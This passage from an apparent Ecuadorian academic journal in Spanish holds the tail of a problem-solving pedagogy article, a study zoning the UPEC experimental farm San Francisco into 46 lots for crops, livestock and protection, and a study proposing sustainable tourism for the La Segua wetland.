qué es enseñar y, muy especialmente, en la forma de conceptualizarla.

REFERENCIAS BIBLIOGRÁFICAS

- Bodner G.M. y Mc Millen T.L.B. (1986). Cognitive restructuring as an early stage in solving problems. *Journal of Research in Science Teaching*, 23, 8, 727-737.
- Cano, F. y Justicia, F. (1994). Learning strategies, styles and approaches: an analysis of their interrelationships. *Higher Education*, 27, 239-260.
- Drewes, A., Iuliani, L. y Caamaño, A. (2001). Experimentación y adaptación del Proyecto Química SALTERS en Argentina: una investigación en contexto CTS en cursos de química de nivel medio España: Universitat Autònoma de Barcelona, Argentina: Ministerio de Educación, Ciencia y Tecnología, 105-109
- En:

<http://webs.uvigo.es/educacion.editora/volumenes/Libro201/C15.20Iulianietal.pdf>.

Gaulin, C. (2001). Tendencias actuales de la resolución de problemas. *Sigma*, 19, 51-63.

Em:http://www.berrikuntza.net/edukia/matematika/sigmaaldizkaria/sigma_19/TENDENCI.PDF

Hayes, J.R. (1981), *The complet problem solver*, Philadelphia: The Franklin Inst.

Prevs. Leonard, J., Gerace, J. y Dufresne, R.J. (2000). Resolución de problemas basada en el análisis. Hacer del análisis y del razonamiento el foco de la enseñanza de la física. *Enseñanza de las ciencias*, 20, 3, 387-400.

Lin, H.S., Cheng, H.J. y Lawrenz, F. (2000). The Assessment of Students and Teachers' Understanding of Gas Laws. *Journal of Chemical Education*, 77, 2, 235-238

Mazur, E. (1997). *Peer Instruction*. Prentice Hall.

Mettes, C.T.C.W., Pilot, A., Roosink, J.H. y Kramers-Pals, H. (1980). Teaching and learning problem solving in Science. Part I: A general strategy. *Journal of Chemical Education*, 57, 882-885.

Miles, M.B. y Huberman, A. (1994). *Qualitative data analysis: an expanded sourcebook*. Newbury Park, CA: Sage.

Newell, A. y Simon, H.A. (1972). *Human problem solving*. Englewood Cliffs, NJ: Prentice Hall.

Nurrembern S.C. y Pickering, M. (1987). Concept Learning versus Problem Solving: Is There a Difference?. *Journal of Chemical Education*, 64, 6, 508-510.

Parra, B., (1990). Dos concepciones de resolución de problemas, *Revista Educación Matemática*, 2, 3, 22-31

Peiró, J.M. y Prieto, F. (dirs.) (1996): *Tratado de Psicología del Trabajo*. Vols. I y II. Madrid: Síntesis.

- Polya, G. (1965). *Mathematical discovery: On understanding, learning and teaching problem solving*. 2. New York: Wiley.
- Ramírez, J.L., Gil, D. y Martínez Torregosa, J. (1994). *La resolución de problemas de física y química como investigación*. Madrid: CIDE/MEC.
- Stanic, G. y Kilpatrick, J. (1989). Historical perspectives on problem solving in the mathematics curriculum. En R. Charles & Silver (Eds.) *The teaching and assessing of mathematical problem solving* (pp. 1-22). Reston, VA: National Council of Teachers of Mathematics.

BIOGRAFÍA DEL AUTOR

Lic. Raquel Vera Velázquez.MSc, Máster en Ciencias de la Educación, Licenciada en Educación en la especialidad de Matemática, con publicaciones en Resolución de Problemas, Didáctica de la Matemática, Metodologías de Enseñanza Aprendizaje de la Matemática, Problemas Medioambientales, Utilización de Programas Computacionales en las clases de Matemática y participación en eventos internacionales, 35 años de experiencia como docente, en las educaciones, Básica, Bachillerato y Universitaria, actualmente docente de la Universidad Estatal del Sur de Manabí.

ZONIFICACIÓN DE LA FINCA EXPERIMENTAL SAN FRANCISCO SITUADA EN LA PROVINCIA DE CARCHI ECUADOR

García Judith,

Peña Julio,

Peña Jhon

UNIVERSIDAD POLITÉCNICA ESTATAL DEL CARCHI

juliojairop@hotmail.com

RESUMEN

El objetivo fue zonificar la Finca Experimental “San Francisco” de la Universidad Politécnica Estatal del Carchi (UPEC). Se realizaron varios recorridos con el mayor número de docentes e investigadores de la UPEC y con planos topográficos, de pendiente y fertilidad de suelo levantados con antelación. Con esta información se realizó la asignación de uso a cada uno de los espacios de la finca, con fines de optimizar su producción; ubicar los cultivos de acuerdo a las características de suelos y pendiente, la producción ganadera, la infraestructura y las zonas para experimentación. Se consideraron cuatro programas: I) Producción agrícola, II) Producción Animal, III) Construcciones y equipamiento y IV) Prácticas agropecuarias. En la propuesta las 45 has de la finca se dividieron en 46 lotes de acuerdo a sus características topográficas, edafológicas y posicionamiento: Los lotes 1-26 se destinaron a pasturas y forrajes, del 27-34 a cultivos en rotación a excepción del lote 31 dedicado a forraje para cría de cuyes, el 35 a tesis de estudiantes, el 36 cría de pollos, del 37-39 cultivos hortícolas, 40-42 complemento granja integral con cultivos orgánicos, 43 es el invernadero, 44 para uso de pasantes y 45 para árboles frutales. El 46 son los humedales y la ribera de la quebrada Santo Tomas, la cual es zona de protección. La investigación realizada encontró que es necesario implementar en forma inmediata y mediata la zonificación planteada.

PALABRAS CLAVE: cultivos, ganadería, infraestructura

ABSTRACT

The objective was zoning the Experimental Farm 'San Francisco' of Universidad Politécnica Estatal del Carchi (UPEC). Several trips were made with several teachers and researchers of UPEC and with topographic, slope and soil fertility maps; raised in advance. With this information the zoning of the farm was planned with the purpose of optimizing its production, locating the crops according to the soil and slope characteristics, the livestock production, the infrastructure and the zones for experimentation. Four programs were considered: I) agricultural production, II) livestock production, III) buildings and equipment

and IV) agricultural practices. The farm was divided into 46 lots according to topographic, soil characteristics and positioning: lots 1-26 for pasture and forages, 27-34 crops in rotation with the exception of 31 for forage for breeding of Guinea pigs, 35 student thesis, 36 chicken rearing, 37-39 horticultural crops, 40-42 organic crops, 43 greenhouses, 44 was for students and 45 for fruit trees. 46 was wetlands and riverside, which is a protection zone. With this research it was found that it is necessary to implement zoning.

KEYWORDS: crops, livestock, infrastructure

INTRODUCCIÓN

La zonificación de la Finca Experimental San Francisco constituye una herramienta básica de manejo, que posibilitará un mejor aprovechamiento de los recursos, en especial del suelo, con la delimitación de áreas por características agroecológicas similares se crea la línea base para direccionar el uso adecuado; generando los instrumentos necesarios para fortalecer de forma práctica el proceso de enseñanza-aprendizaje de los estudiantes de Agropecuaria.

De esta manera, la Finca Experimental “San Francisco” se convertiría en la primera de la provincia cuya producción tiene una visión integral; en todas sus potencialidades, de manera racional, técnica, ordenada, sostenida, respetuosa de su entorno ecológico; lo cual permitirá tener un aula natural de 45 hectáreas tanto para la formación profesional de los estudiantes como de la comunidad en general. Tomando este predio como ejemplo piloto para ser replicado en zonas rurales agrícolas de la provincia se aporta al plan de desarrollo del país.

Al completar esta zonificación técnica de la Hacienda San Francisco, permitirá una adecuada ubicación de las instalaciones para animales menores como cuyes, pollos, conejos, entre otros; la crianza y manejo de ganadería de leche y de carne y finalmente la dedicación no solo a cultivos tradicionales estratégicos, sino la introducción de nuevos cultivos potenciales conforme a una demanda creciente y garantizada.

Es también una prioridad brindar a los estudiantes de EDIA las condiciones propicias para el aprendizaje mediante la acción (aprender haciendo y experimentando) basados en el modelo pedagógico de la UPEC, el cual permite incrementar las competencias y capacidades de los estudiantes y de esta manera permitirá cambiar la realidad que actualmente se vivencia en las diferentes zonas de producción. La finalidad es fortalecer las competencias del profesional en Agropecuaria.

El objetivo de la presente investigación es realizar la asignación de uso a cada uno de los espacios de la finca (zonificación) basada en un estudio preliminar sobre los recursos existentes; tales como suelo (características y uso), pendiente,

infraestructura, entre otras; para la delimitación de áreas por características agroecológicas similares y posteriormente direccionar el uso adecuado para estos espacios.

MATERIALES Y MÉTODOS

Lo primero que se hizo fue identificar y definir todos los problemas y oportunidades presentes incluyendo la apreciación de los usuarios de la finca; se recolectó información que influyó en las decisiones que fueron tomadas. Se identificaron y evaluaron soluciones alternativas para todos los problemas que se presentaron y una vez se recopilaron los recaudos, se procedió a zonificar.

Para la zonificación el plan de acción fue el siguiente:

- 1.- Zonificación de la pendiente del terreno.
- 2.- Zonificación de áreas de protección; recursos hídricos, perfiles.
- 3.- Zonificación del tipo de suelo.
- 4.- Zonificación del uso actual de suelos.
- 5.- Zonificación de ubicación de la infraestructura existente.
6. Observación general de la finca Experimental.

Con esta información se planificó la zonificación de la finca con fines de optimizar su producción, ubicar los cultivos de acuerdo a las características de suelos y pendiente, la producción ganadera (ganado bovino, aviar, conejos, cuyes, entre otros), así como también la infraestructura con fines académicos y las zonas para experimentación para los estudiantes.

RESULTADOS Y DISCUSIÓN

La zonificación se inicia con el estudio del uso actual del espacio (figura 1) y de allí se formula una propuesta tal como se señala en la figura 2. Antes de la zonificación (distribución actual), la finca se encuentra dividida en 20 bloques. Del bloque 1-18 son pastizales y constituye el 80% del área total de la finca, el bloque 19 son los márgenes de la Quebrada San Tomas; en el bloque 20 se ubica la infraestructura y allí se ubica un área que se utiliza para realizar investigaciones por docentes y estudiantes que realizan trabajos de investigación para su titulación como ingenieros agropecuarios; esta área cubre aproximadamente un 10% de la totalidad del área de la finca. La zonificación propuesta se presenta en la figura 2.

Figura 1. Uso Actual de los suelos

PROGRAMA I. PRODUCCIÓN AGRÍCOLA

Sub-programa I. Producción agrícola

Ocupa la superficie de terreno con vocación agrícola, en un área con clasificación agroecológica I y II. Los cultivos en rotación escogidos para la finca son: papa, maíz suave, haba, mellocos, arveja, quinua y zanahoria como se indica en la Tabla 1. Esta rotación básica permitirá tener la producción diversificada en los lotes 27, 28, 29, 30, 32, 33 y 34, garantizando la producción permanente (por cuatro años y empezando de nuevo el ciclo de rotación con los ajustes necesarios). En total se destina una superficie de 5 has para estos cultivos. Todos estos cultivos son 3,85 has que además de reducir el riesgo de monocultivo, representan importantes fuentes de carbohidratos, proteínas y aminoácidos (Oyarzun et al., 2013).

Figura 2. Propuesta de zonificación de la Finca Experimental San Francisco

Sub-programa II. Granja Integral Agropecuaria Orgánica.

Los lotes 37, 38 y 39 se utilizarán para desarrollar la actividad hortícola como parte de la granja integral demostrativa con una superficie de 0,81 has. Los lotes 40, 41 y 42 conforman un solo bloque con la finalidad de complementar la Granja Integral destinada a la producción de cultivos orgánicos con una superficie de 0,67 has. Para los cultivos de la granja integral se dispondrá de una superficie de 1,48 has. En el lote 45 se construirán terrazas y se utilizará para la producción de árboles frutales con una superficie de 0,56 has. El lote 31 se ha previsto para la siembra de cultivos forrajeros para la explotación de los cuyes por su cercanía con el galpón de crianza de estos animales con una superficie de 0,67 has. La superficie total de la Granja Integral es de 3,52 has. Las superficies para construcciones académicas se encuentran en el lote 44 y comprende 2,01 has.

Sub-programa III. Producción forestal. De acuerdo a la zonificación se ha determinado una superficie de protección ecológica de 10,4 has (lote 46) constituida por dos humedales que totalizan 5,62 has en los cuales se realizará forestación con especies nativas, de igual manera se forestará un margen de 10 m del límite de la quebrada, tal como está demarcado en la figura 2.

PROGRAMA II. PRODUCCIÓN ANIMAL

Rotación de pasturas y plantas forrajeras.

En el sector dedicado a la producción de leche en 21 has de terreno. Se ha realizado una programación de siembra de potreros de superficies aproximadas de 4 has/año utilizando los lotes 1-26; considerando una duración de cinco años de la pradera. Se inicia el trabajo con la siembra de una mezcla de vicia-avena con la finalidad de hacer una preparación adecuada del terreno y enriquecerlo de nutrientes por la ventaja de esta mezcla forrajera, una vez aprovechado el pasto producido se hará el establecimiento de la mezcla forrajera definitiva constituida por Rye grass inglés 16kg/ha; Rye grass italiano 18kg/ha; Festuca arundinacea 5kg/ha; Trébol blanco ladino 2kg/ha. Se realizará dispersión de heces, cortes de igualación y fertilización de mantenimiento con la finalidad de mantener la producción de forraje.

Manejo de la Ganadería de leche.

Con una carga animal de 2,5 UBA en 21 ha se obtiene 52,5 UBAS multiplicadas por el factor 1,27 se obtiene que es posible manejar 66 animales utilizando los lotes 1-26. Con esta carga animal considerando una producción promedio de 15 lt.vaca.día⁻¹ se puede llegar a producir 180.675 litros de leche por año.

PROGRAMA III. CONSTRUCCIONES Y EQUIPAMIENTO.

Sub – programa I: Invernadero agrícola.

Ocupará un área de 500 m² con las medidas de 50 m de largo por 10 m de ancho, estará ubicado en el lote número 43, contará con un sistema de fertilización automática y un sistema de riego automatizado, para poder mantener los cultivos en forma adecuada.

Sub – programa II: Galpón de pollos.

El galpón de pollos se ubicará en el lote 44, a 200 m de las aulas y laboratorios para evitar los olores que frecuentemente salen de estas instalaciones. Tendrá un área de 60 m² con las medidas de 10 m de largo por 6 m de ancho.

Sub – programa III: Chanchera.

La chanchera se la ubicará en el lote 44 a 20 m del galpón de pollos, debido a que se facilita el mantenimiento y limpieza. El área de la chanchera es de 20 m de largo por 10 m de ancho, contará con alojamiento para animales reproductores, animales de cría y animales de engorde. Dentro de estos grupos se proveerán diferentes tipos de corrales y jaulas, otros se encontrarán al aire libre.

Sub – programa IV: Establo.

Cuando se incremente el hato lechero al número de 66 animales de acuerdo al programa de este estudio se deberá construir otro establo en el lote 19, cerca de los sitios de pastura, para evitar que el ganado pierda energía caminando mucha distancia. El establo se construirá con una sala de ordeño de seis puestos, un espacio para el tanque frío, un corral con manga y bebedero, un laboratorio, un área para despensa y el biodigestor. Con un área total aproximada de 400 m².

PROGRAMA IV: Prácticas Agropecuarias Estudiantiles.

Las prácticas agropecuarias estudiantiles serán en toda la finca, pero especialmente en el lote 35. A través de sus prácticas de campo, los estudiantes se pueden enfrentar a problemas reales y se fomentará en los estudiantes el concepto de sustentabilidad.

Sub – programa I: Capacitación a agricultores de la zona

La UPEC tiene la obligación de vincularse con la comunidad para transmitir conocimientos y tecnología. Estos principios se pondrán en práctica invitando a seminarios de capacitación a agricultores de la zona para demostrar las ventajas que se tiene cuando se lleva una hacienda zonificada en forma técnica.

Sub – programa II: Pasantías prácticas.

La Ley Orgánica de Educación Superior –LOES–, que está vigente en el Ecuador establece que los y las estudiantes deberán acreditar servicios a la comunidad mediante prácticas o pasantías

pre-profesionales, en los campos de su especialidad. Para dar facilidades a los pasantes se tendrá que dotar de infraestructura con habitaciones para alojamiento, lo cual será ubicado en el lote 44. La asignación de zonas de acuerdo al tipo de suelo, necesidades y conveniencia, se resume en la Tabla 2.

Tabla 2. Zonificación de la Finca Experimental San Francisco

LOTES	ASIGNACIÓN	AREA (en has)	(en % del área finca	de la
1-26	Pasturas y cultivos forrajeros para ganado	21	47,0	
27-30 y 32-34	Cultivos en rotación	5	11,0	
31	Mezcla forrajera para cuyes	0,67	1,49	
35-36	Tesis de Grado y Galpón de Pollos	3,85	8,56	
37-39	Hortalizas (Granja Integral)	0,81	1,80	
40-42	Cultivos orgánicos (Granja Integral)	0,67	1,49	
43	Tesis de Grado e Investigaciones	Invernadero		
44	Construcciones Académicas	2,01	4,47	
45	Frutales en terrazas	0,56	1,24	
46	Zona de protección	10,4	23,11	
TOTAL		45	100	

CONCLUSIONES

La finca se dividió en lotes de acuerdo a sus características topográficas, edafológicas y posicionamiento, de la siguiente manera:

Los lotes 1-26 se destinaron a pasturas y forrajes, del 27-34 a cultivos en rotación a excepción del lote 31 dedicado a forraje para cría de cuyes, el lote 35 a tesis de estudiantes, el 36 a cría de pollos, del 37-39 a cultivos hortícolas, lotes 40-42 complemento granja integral con cultivos orgánicos, el lote 43 es el invernadero, el lote 44 para pasantes y el lote 45 para árboles frutales. El lote 46 son los humedales y la ribera de la quebrada Santo Tomas, la cual es zona de protección.

De acuerdo a las características de la zona zonificada, se recomienda:

Implementar la Zonificación establecida de acuerdo a la clasificación agroecológica, de los bloques señalados con base al estudio topográfico, para las diferentes actividades y necesidades.

Establecer el programa de rotación de cultivos establecido con la finalidad de sostener la producción y minimizar los riesgos de erosión.

Construir un invernadero.

Implementar un sistema de riego.

Construir un nuevo establo.

Elaborar un proyecto agro-ecoturístico, aprovechando las potencialidades de la Hacienda San Francisco en conjunto con la Escuela de Turismo.

REFERENCIAS BIBLIOGRÁFICAS

Oyarzun, P.J., Borja, R.M., Sherwood, S. & Parra, V. (2013). *Making sense of agrobiodiversity, diet, and intensification of smallholder family farming in the highland Andes of Ecuador*. Ecology of Food and Nutrition, 52(6), 515-541.

Turismo y Medio Ambiente

HUMEDAL LA SEGUA; PERSPECTIVAS PARA UN TURISMO SOSTENIBLE

Lcda. María Rosario Álava Zambrano. Mgs

UNIVERSIDAD LAICA "ELOY ALFARO" DE MANABÍ,

rosarioalava85@gmail.com

RESUMEN

La presente investigación tiene un enfoque descriptivo, sustentado con una investigación de campo y bibliográfica, mediante el estudio exploratorio de los atractivos turísticos que componen el Humedal La Segua, el contexto eco turístico, el método de investigación está basada en los indicadores de evaluación, fichas técnicas de identificación de atractivos y entrevistas que permiten analizar la problemática para una orientación al desarrollo de Turismo Sostenible, fauna, flora, vías de acceso, construcciones sostenibles, para realizar el siguiente estudio se entrevistó a la Guía de Turismo local certificada, y los propietarios del terreno, proceso enfocado a una investigación cualitativa, analizando elementos teóricos y procesos para el desarrollo turístico de los senderos del Humedal, referente al contexto ambiental y sostenible es necesario enfatizar la problemática ambiental, el uso de camaroneras que diariamente perjudican a la flora y fauna existente, lo que genera preocupación por perder la declaración de sitio RAMSAR, por lo tanto la orientación al desarrollo del Turismo Sostenible se enfoca en una propuesta de señalética turística y reestructuración de senderos, planes y campañas de manejo ambiental, además de mayor difusión y promoción turística.

PALABRAS CLAVE: Humedal, atractivos turísticos, turismo sostenible

ABSTRACT

The present investigation has a descriptive approach, sustained with a field and bibliographical investigation, through the exploratory study of the tourist attractions that formed La Segua Wetland, the eco tourist context, the research method is based on the evaluation indicators, technical identification cards of attractions and interviews that allow analyzing the problem for an orientation to the development of Sustainable Tourism, fauna, flora, access roads, sustainable constructions, to carry out the following study, the local Tourism Guide was interviewed, and the owners of the land, process focused on a qualitative research, analyzing theoretical elements and processes for the

tourist development of the trails of the Wetland, referring to the environmental and sustainable context, it is necessary to emphasize the environmental problems, the use of shrimp farms that daily damage the flora and exotic fauna, which raises concerns about losing the RAMSAR site declaration, therefore the orientation towards the development of Sustainable Tourism focuses on a tourism signage proposal and the restructuring of trails, plans and environmental management campaigns, as well as greater dissemination and Tourism Promotion .

KEYWORDS: Wetland, Tourist Attractions, Sustainable Tourism

1. INTRODUCCIÓN

La investigación se desarrolla en el Humedal La Segua se encuentra ubicado en la Parroquia San Antonio, provincia de Manabí , declarado área de conservación RAMSAR constituye un gran recurso eco turístico, está estructuralmente conformada por un pantano central, conformada por una importante fauna acuática y terrestre, declarado también por la Municipalidad de Chone como Herencia cultural y natural .

Imagen 1: Zona del Humedal y lugares cercanos

Recuperado por: http://www.terraecuador.net/revista_57/contenido_57.html

La unidad hidrográfica sobre la que se emplaza el cantón Chone y el humedal La Segua es la cuenca de los ríos Chone y Carrizal, que es precisamente la mayor de todas las cuencas hidrográficas de la provincia de Manabí. (Montilla, 2017)

Debido a la dinámica del humedal, expresada en importantes cambios del paisaje, es necesario efectuar de manera casi permanente, distintas investigaciones que conlleven a identificar su evolución ambiental y las consecuencias derivadas.

Una de las vías más apropiadas para investigar humedales es el empleo de tecnologías de sistemas de información geográfica y teledetección espacial (Pérez, 2011).

1.1 OBJETIVOS

Objetivo General

- Proponer un plan de mejoras para el desarrollo turístico sostenible para el Humedal La Segua.

Objetivos Específicos

- Explorar mediante un trabajo metodológico el potencial turístico del Humedal La Segua.
- Diagnosticar los atractivos turísticos que componen el Humedal y los problemas ambientales existentes en el área.
- Analizar los resultados de la investigación y establecer los indicadores para la propuesta del Humedal.

1.2 ANTECEDENTES

Referente a la Convención sobre los Humedales (Ramsar, Irán, 1971) es un tratado intergubernamental cuya misión es “la conservación y el uso racional de los humedales mediante acciones locales, regionales y nacionales y gracias a la cooperación internacional, como contribución al logro de un desarrollo sostenible en todo el mundo”. Tal como define la Convención, en los humedales se incluye una amplia variedad de hábitat tales como pantanos, turberas, llanuras de inundación, ríos y lagos, y áreas costeras tales como marismas, manglares y praderas de pastos marinos, pero también arrecifes de coral y otras áreas marinas cuya profundidad en marea baja no exceda de seis metros, así como humedales artificiales tales como estanques de tratamiento de aguas residuales y embalses.

Hasta la actualidad se ha catalogado 58 especies de aves reconocidas, entre los atractivos está el evento es tradicional en La Segua, de San Antonio, en Chone y Manabí, porque se lo ha desarrollado durante 35 años, en los que el chame es la principal atracción para los turistas que llegan de varias partes del país, constituye además un atractivo turístico cultural , el cual se encuentra permanentemente anegado y una extensa llanura de inundación que se cubre de agua en la estación lluviosa (diciembre - abril).La ciénaga La

Segua se encuentra dentro de la zona de vida "Bosque muy seco Tropical" . La Segua es un humedal de agua dulce, que consiste de una ciénaga central inundada la mayor parte del tiempo y una planicie extensiva inundable en la estación lluviosa. La Ciénaga de La Segua se han registrado más de 150 especies de aves, la mayoría de ellas acuáticas y muchas migratorias.

La misión de la Convención es " la conservación y el uso racional de los humedales mediante acciones locales y nacionales y gracias a la cooperación internacional, como contribución al logro de un desarrollo sostenible en todo el mundo".

La Convención aplica una definición amplia de los humedales, que abarca todos los lagos y ríos, acuíferos subterráneos, pantanos y marismas, pastizales húmedos, turberas, oasis, estuarios, deltas y bajos de marea, manglares y otras zonas costeras, arrecifes coralinos, y sitios artificiales como estanques piscícolas, arrozales, reservorios y salinas.

En el marco de los "tres pilares" de la Convención, las Partes Contratantes se comprometen a:

- Trabajar en pro del uso racional de todos los humedales de su territorio;
- Designar humedales idóneos para la lista de Humedales de Importancia Internacional ("Lista Ramsar") y garantizar su manejo eficaz.
- Cooperar en el plano internacional en materia de humedales transfronterizos, sistemas de humedales compartidos y especies compartidas.

El mantenimiento de la sostenibilidad del turismo es cada vez más importante si tenemos en cuenta que este, para sea sostenible, no solo debe obtener beneficios económicos, sino que, ante todo, debe proteger y cuidar el medio ambiente. Toda actividad turística que realmente pretenda definirse como turismo sostenible debe tener en cuenta tres principios básicos de sostenibilidad: uso adecuado de los recursos naturales, respeto a la biodiversidad sociocultural y asegurar prácticas empresariales adecuadas. (Jiménez, 2016).

La Organización Mundial del Turismo, basada en el informe Brundtland (1987), estableció en 1988 el principio del desarrollo sostenible del Turismo, el cual es entendido como la actividad orientada a la gestión de todos los recursos. La agenda 21 local representa el plan de acción acordado en la Cumbre de la Tierra en Río de Janeiro, Brasil,

en 1992, en la cual se estableció un amplio programa global para el siglo XXI, que tiene como propósito servir de plan de acción con la finalidad de impulsar el futuro sostenible del planeta (Margalef, 2010).

1.3 DESCRIPCIÓN DEL MEDIO AMBIENTE.

1.3.1 CLIMA

El clima predominante es el cálido seco en verano, que va desde junio hasta noviembre, en épocas normales; y el cálido lluvioso en época de invierno, que va de diciembre a mayo. En verano los vientos modifican el clima y su temperatura oscila entre los 23 y 28 grados centígrados, mientras que en invierno alcanza los 34 grados centígrados, considerándose uno de los climas más inestables y desequilibrados de las regiones costeras del Pacífico sudamericano.

Los humedales son especialmente vulnerables al cambio climático, por lo que requieren una atención especial y el desarrollo de una estrategia de adaptación. Esta vulnerabilidad es aún mayor si se tiene en cuenta las peculiaridades, características físico-geográficas e importancia ecológica de gran parte de los humedales. (Moya, 2005)

1.3.2 Ecosistema Terrestre

A continuación, se exponen las características la flora y la fauna representativas para la cuenca.

1.3.3 Flora Silvestre

Se destacan las siguientes formaciones vegetales naturales o cultivadas:

- ❖ Bosques húmedos: caracterizados por vegetación arbórea siempre verde de amplia cobertura con altura del dos al superior a los tres metros.
- ❖ Cultivos: son todas las tierras ocupadas por plantas sembradas para la utilización humana, sean de ciclo corto (maíz, haba, maní) o permanente (banano, café, cítricos, cocos) entre otros.

1.3.4 Fauna Silvestre.

Como consideraciones generales sobre la fauna silvestre existente especialmente en el sitio la Segua se puede señalar:

Especies que encontramos en el sitio La Segua: Iguanas Verdes, entre otros. Especies que se encuentran en peligro de extinción: *Corallus annulatus* (serpientes). Aves de corral: *Gallus* (gallina), *Netta Rufina* (pato), *Colunba Livia* (paloma), *Anser* (ganso). Animales de corral: *Sus Scrofa* (cerdo), *Bos Taurus* (vacas), *Equus Caballus* (caballos) entre otros.

1.3.5 Ecosistema Acuático.

En río Chone se encuentra las siguientes especies: *Dormitator maculatus* (Chame), *Puntius semifasciolatus* (barbudo), *Tilapia Guinasana* (tilapia), *Hoplias microlepis* (guanchiche), *Samastacus spinifrons* (camarón de río), subfilo Crustáceos (*langosta de río*), (*mestiza*), ***chondrostoma polylepis* (bongo)**, Guaijas, Vieja Azul, entre otros

1.3.6 Cobertura vegetal y uso del suelo.

Muchos espacios han sido privados de su cobertura vegetal. En estas áreas se siembra principalmente maíz, coco, aunque también existen otros cultivos como haba, maní y plantaciones forestales. Todos estos productos se encuentran disponibles en cantidades pequeñas para el uso individual de los agricultores.

1.3.7 Tenencia de la Tierra.

El conocimiento del sistema de tenencia de la tierra es importante para las aplicaciones apropiadas de las técnicas de manejo de la tierra. La tenencia de la tierra es totalmente privada.

1.3.8 Propiedad y Posesión

La propiedad es definida por el Código Civil como “el dominio, que también se llama propiedad, es el derecho real en una cosa corporal, para gozar y disponer de ella, conforme a las disposiciones de leyes y respetando el derecho ajeno, sea individual o social.

2. MATERIALES Y MÉTODOS

2.1 Tipo de investigación

2.1.1 Investigación Exploratoria: Se plantea problemas e hipótesis, es decir las investigaciones exploratorias sirven de base para investigaciones profundas y rigurosas a través del estudio de casos.

Encuesta: La encuesta permite al profesional de Turismo indagar acerca de las percepciones, opiniones y comportamientos de un determinado sector de la población sobre el fenómeno social que constituya el objeto de estudio. (Brito, 2007)

2.1.2 FUENTES DE INFORMACIÓN

Fuentes Primarias: Se obtuvo información directamente en el área de estudio.

Casis, la encuesta a recepcionistas fue base en este proceso.

Fuentes Secundarias: La metodología empleada consistió en una revisión de información bibliográfica.

Objetivo	Variables	Indicadores	Técnicas	Fuente de información
Diagnosticar los atractivos naturales y culturales de la parroquia rural.	<ul style="list-style-type: none">• Características Físicas.• Infraestructura Vial /De Acceso• Diversidad Biológica.• Servicios Turísticos.	<ul style="list-style-type: none">• Temperatura• Estilo del atractivo• Estado de conservación.• Estado de vías• Señalética• Catastro de especies• Estado de conservación• Frecuencia de visitas• Asistencia en feriados• Recreación• Actividades• Estilo de vida de los habitantes	<ul style="list-style-type: none">• Entrevistas a informantes claves.• Encuesta a 30 personas.• Observación	<ul style="list-style-type: none">▪ Medios digitales▪ Fichas de observación generales.▪ Fichas de observación, enfocadas a la categorización del Ministerio de Turismo

		<ul style="list-style-type: none"> • Guías de Turismo certificados • Participación comunitaria 		
--	--	--	--	--

TABLA 1: Metodología de la Investigación

3. RESULTADOS Y DISCUSIÓN

Gráfico 1: Resultado de las actividades que motivan a los turistas a visitar el Humedal.

Gráfico 2: Preferencias referente a visitas Técnicas y estudios de campo en el Humedal

3.1 DISCUSIÓN

Características físicas	<p>El sector sobre el que se asienta el humedal La Segua y en general todo el cantón Chone, presenta desde el punto de vista climático dos temporadas marcadamente diferenciadas. Una es la húmeda, que se inicia en diciembre y finaliza en mayo; la otra es la seca, y se produce entre los meses de junio a noviembre. Las temperaturas oscilan entre 23 y 28 grados centígrados.</p> <p>El Humedal La Segua atrae muchos visitantes con fines académicos por sus características, es un lugar que propicia la investigación de avifauna.</p>
Infraestructura vial de acceso / Senderos	<p>Las carreteras están en buen estado, sin embargo, existe una deficiencia en señalética y ausencia de nuevos senderos. Actualmente El Sendero “Los Caimanes” ofrece algunas alternativas como el Mirador y el Muelle</p>
Diversidad Biológica y contaminación	<p>El humedal tiene una diversidad biológica de gran impacto, ecosistemas híbridos acuáticos y terrestres, sin embargo, estos ecosistemas se ven afectados por la contaminación y el uso de espacios para camaroneras, existen gran contaminación hídrica por el uso de agroquímicos y fertilizantes.</p> <p>La Hidrografía se caracteriza por estar conformada por cursos de régimen permanente, sin embargo, el comportamiento de su caudal está supeditado a la estacionalidad del clima, de tal manera que en los meses de sequía este presenta una disminución notable. Se entrevistó a ciertos</p>

	<p>dueños titulares del terreno, existe una división de criterios entre los que quieren conservar el Humedal y las personas que tienen fines comerciales.</p>
Servicios turísticos	<p>Según las fichas de observación podemos resaltar deficiencia en senderos turísticos, deficiencia en promoción turística, la feria del Chame aporta en gran medida al desarrollo cultural, sin embargo, aún existen debilidades en el desarrollo comunitario y cultural.</p> <p>El Humedal carece de mayor promoción en las operadoras de Turismo, ausencia de planes e incentivos para la conservación del mismo.</p> <p>El Humedal no cuenta con Guías de Turismo que hablen Idioma extranjero. Referente a las encuestas, existe un alto índice de personas que les motiva visitar el Humedal por motivos de Gastronomía, siendo la Feria del Chame un evento que motiva a la visita del Humedal, consecuentemente la preferencia del Turista también se enfoca en las caminatas y los paisajes que ofrece el Humedal.</p> <p>En la entrevista a la Guía de Turismo, se pudo analizar que existen razones científicas y de estudio para visitar el Humedal La Segua, usualmente delegaciones extranjeras visitan el Humedal por motivos de Ornitología. El Humedal lleva un registro de visitas por motivos científicos y turismo.</p>

TABLA 2: Discusión de los resultados.

4. PROPUESTA PARA EL DESARROLLO DE TURISMO SOSTENIBLE EN EL HUMEDAL LA SEGUA

VARIABLES	INDICADORES	PLANES DE ACCIÓN / ESTRATEGIAS
Infraestructura turística / Planta turística	<ul style="list-style-type: none"> ☞ Vías de accesos ☞ Planta turística ☞ Navegación ☞ Senderos turísticos 	<ul style="list-style-type: none"> • Plan de sostenibilidad turística • Diseño de un nuevo guión turístico • Diseño de rutas turísticas en Chone • Adaptación de nuevas infraestructuras ecológicas. • Mejorar el centro de interpretación (cabaña).
Turismo Comunitario	<ul style="list-style-type: none"> ☞ Participación comunitaria ☞ Asociaciones ☞ Capacitación 	<ul style="list-style-type: none"> • Plan de Desarrollo Comunitario del sector • Diagnosticar las actitudes y expectativas locales hacia el Turismo • Involucrar a la comunidad en eventos gastronómicos y artesanales (Feria del Chame y creación de nuevas ferias) • Capacitar a la comunidad a través de la elaboración y divulgación de un código ambiental.
Sostenibilidad ambiental	<ul style="list-style-type: none"> ▪ Diversidad biológica 	<ul style="list-style-type: none"> ▪ Estudio del impacto ambiental • Ordenamiento Territorial • Gestionar apoyo gubernamental • Práctica de Pesca sostenible.

Desarrollo turístico	<ul style="list-style-type: none"> ▪ Segmentación de Mercado ▪ Capacitación turística ▪ Turismo científico 	<ul style="list-style-type: none"> ▪ Análisis de oferta / demanda ▪ Capacitación en Idioma Ingles y Primeros Auxilios ▪ Potencializar el Turismo científico en el área. ▪ Registro virtual de una base de datos de visitas al Humedal.
